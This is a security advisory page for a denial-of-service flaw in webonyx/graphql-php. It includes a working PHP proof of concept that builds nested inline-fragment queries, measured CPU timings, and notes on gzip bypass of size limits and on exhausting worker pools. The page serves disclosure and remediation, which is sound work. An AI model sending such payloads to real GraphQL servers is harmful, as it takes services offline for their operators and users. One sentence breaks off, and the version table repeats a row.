# GHSA-fc86-6rv6-2jpm: webonyx/graphql-php has quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments

> An attacker can cause denial of service in webonyx/graphql-php by sending queries with nested inline fragments that trigger quadratic validation costs.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 4 May 2026

## What is GHSA-fc86-6rv6-2jpm?

GHSA-fc86-6rv6-2jpm is a denial of service vulnerability in webonyx/graphql-php, published on 4 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

`OverlappingFieldsCanBeMerged` validation rule has `O(n^2 x m^2)` worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.

## Affected Component

`src/Validator/Rules/OverlappingFieldsCanBeMerged.php`

## Description

graphql-php is a PHP port of graphql-js and inherits the same `OverlappingFieldsCanBeMerged` algorithm. The rule performs an explicit `O(n^2)` pairwise comparison loop over fields collected for each response name (`collectConflictsWithin`), and recurses into sub-selections via `findConflict`. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to `O(n^2 x m^2)` where `n` and `m` are the number of inline fragments at the outer and inner levels respectively.

graphql-php includes a `comparedFragmentPairs` PairSet cache (the same class of memoization fix tracked under [CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7](https://github.com/advisories/GHSA-9pv7-vfvm-6vr7)), but it is keyed by **named fragment** identity. Inline fragments have no name; they are flattened into the parent `$astAndDefs` map by the `case $selection instanceof InlineFragmentNode` branch starting at `OverlappingFieldsCanBeMerged.php:266`, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.

This finding has been tested against the **latest stable release `webonyx/graphql-php@v15.31.4`** running on PHP 8.3.30.

## Root Cause

### 1. Pairwise `O(n^2)` loop (`collectConflictsWithin`)

```php
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306
$fieldsLength = count($fields);

if ($fieldsLength > 1) {
    for ($i = 0; $i < $fieldsLength; ++$i) {                             // line 311
        for ($j = $i + 1; $j < $fieldsLength; ++$j) {                    // line 312
            $conflict = $this->findConflict(
                $context,
                $parentFieldsAreMutuallyExclusive,
                $responseName,
                $fields[$i],
                $fields[$j]
            );
            // ...
        }
    }
}
```

`count($fields)` grows without bound when multiple inline fragments select the same response name in the same parent selection set.

### 2. Inline fragment flattening (`internalCollectFieldsAndFragmentNames`)

```php
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266
case $selection instanceof InlineFragmentNode:
    $typeCondition = $selection->typeCondition;
    $inlineFragmentType = $typeCondition === null
        ? $parentType
        : AST::typeFromAST([$context->getSchema(), 'getType'], $typeCondition);

    $this->internalCollectFieldsAndFragmentNames(
        $context,
        $inlineFragmentType,
        $selection->selectionSet,
        $astAndDefs,           // flattened into the parent map
        $fragmentNames
    );
    break;
```

`N` inline fragments selecting the same response name produce `N` entries in `$astAndDefs[$responseName]`, which then trigger `N*(N-1)/2` `findConflict` calls.

### 3. The named-fragment cache does not cover this code path

```php
// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41
protected PairSet $comparedFragmentPairs;

// :54 (in __construct)
$this->comparedFragmentPairs = new PairSet();
```

`PairSet` is keyed by `(fragmentName1, fragmentName2)`. Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.

### 4. No comparison budget, no validation timeout

There is no counter shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. The rule runs to completion regardless of cost. graphql-php exposes no `validate_timeout` equivalent.

## Proof of Concept

```php
<?php
// composer require webonyx/graphql-php:v15.31.4
require __DIR__.'/vendor/autoload.php';

use GraphQL\Language\Parser;
use GraphQL\Validator\DocumentValidator;
use GraphQL\Utils\BuildSchema;

$schema = BuildSchema::build('type Query { field: Node }  type Node { f: Node, g: Node, x: String }');

function gen(int $n, int $m): string {
    $inner = implode(' ', array_fill(0, $m, '... on Node { x }'));
    $outer = implode(' ', array_fill(0, $n, "... on Node { f { $inner } }"));
    return "{ field { $outer } }";
}

echo " N    M  | size      | validate ms | errors\n";
echo "---------|-----------|-------------|--------\n";
foreach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {
    $q = gen($n, $m);
    $doc = Parser::parse($q);
    $t0 = microtime(true);
    $errors = DocumentValidator::validate($schema, $doc);
    $elapsed = round((microtime(true) - $t0) * 1000);
    printf("%4d %4d | %7dB | %10d  | %d\n", $n, $m, strlen($q), $elapsed, count($errors));
}
```

### Measured output on `webonyx/graphql-php@v15.31.4`, PHP 8.3.30, Linux x86_64

```
graphql-php version: v15.31.4
PHP version: 8.3.30

 N    M  | size      | validate ms | errors
---------|-----------|-------------|--------
  20   20 |    7653B |         71  | 0
  50   50 |   46113B |       2020  | 0
 100   50 |   92213B |       7762  | 0
 100  100 |  182213B |      29660  | 0
 150  100 |  273313B |      66052  | 0
 200  100 |  364413B |     117082  | 0
```

The growth confirms `O(N^2)` outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes **117 seconds** of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.

## Impact

- **Default-on rule**: `OverlappingFieldsCanBeMerged` is part of the rules registered by `DocumentValidator::defaultRules()` and is enabled by default in `DocumentValidator::validate()`. Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed.
- **Pre-execution**: the cost is in the validation phase. `QueryComplexity` and `QueryDepth` rules cannot help: the example query has depth 3 and complexity 1.
- **PHP `max_execution_time` hits the wall too late**: a default Lighthouse/Laravel deployment ships with `max_execution_time = 30` seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed by `max_execution_time`, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic.
- **Body-size and WAF bypass via gzip**: the payload is the same string repeated N times. A 364 KB raw payload compresses to a few kilobytes via gzip. Any graphql-php deployment behind nginx, Apache, or a CDN with default body-size handling will accept the compressed request and decompress it before reaching the validator.
- **php-fpm worker pool exhaustion**: each request consumes one full PHP worker process. A typical php-fpm pool has 5-50 workers; an attacker firing a handful of parallel requests pins the entire pool for the duration of the validation.
- **Existing CVE-2023-26144 fix is insufficient**: the published `PairSet` cache only memoizes named-fragment comparisons, not the inline-fragment flattening path.

This is the same vulnerability class as **CVE-2023-26144** (partially fixed by named-fragment memoization only) and **CVE-2023-28867** (fully fixed via the Adameit algorithm). Both fixes pre-date this finding.

## Affected Versions

- **`webonyx/graphql-php@v15.31.4`** (latest stable as of 2026-04-08): all measurements above were collected on this version with no custom configuration.
- All versions of `webonyx/graphql-php` that ship `OverlappingFieldsCanBeMerged` (effectively all 15.x and 14.x stable releases). They share the same

## Which versions are affected by GHSA-fc86-6rv6-2jpm?

2 open source packages ship an affected version, including webonyx/graphql-php.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `webonyx/graphql-php` | Packagist | All versions | 15.32.2 |
| `webonyx/graphql-php` | Packagist | All versions | 15.32.2 |

## How do I fix GHSA-fc86-6rv6-2jpm?

Upgrade webonyx/graphql-php to 15.32.2 or later.

## Is GHSA-fc86-6rv6-2jpm being exploited?

There is no known exploitation of GHSA-fc86-6rv6-2jpm in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-fc86-6rv6-2jpm and fix it if it is affected.

What it is: GHSA-fc86-6rv6-2jpm is a denial of service vulnerability in webonyx/graphql-php, published on 4 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-fc86-6rv6-2jpm in the wild and no public exploit code.

Affected packages and fixed versions:
- webonyx/graphql-php (Packagist): affected all versions; fixed in 15.32.2
- webonyx/graphql-php (Packagist): affected all versions; fixed in 15.32.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-fc86-6rv6-2jpm/ (Markdown: https://insights.sbomify.com/GHSA-fc86-6rv6-2jpm/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-fc86-6rv6-2jpm

---
From sbomify Insights: https://insights.sbomify.com/GHSA-fc86-6rv6-2jpm/
Summaries are generated and may contain mistakes; the official description above is the record.